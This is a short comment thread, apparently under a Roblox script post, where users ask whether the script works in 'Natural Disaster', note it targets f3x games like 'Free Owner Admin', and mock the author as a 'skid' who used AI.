And is the script good?
Does it working natural disaster
No, it's just for f3x games like Free Owner Admin, but you can completely ruin those games with it. Theoretically, you could use it in Natural Disaster, but only the other GUIs would work.
Bro skid
you used ai for this bozo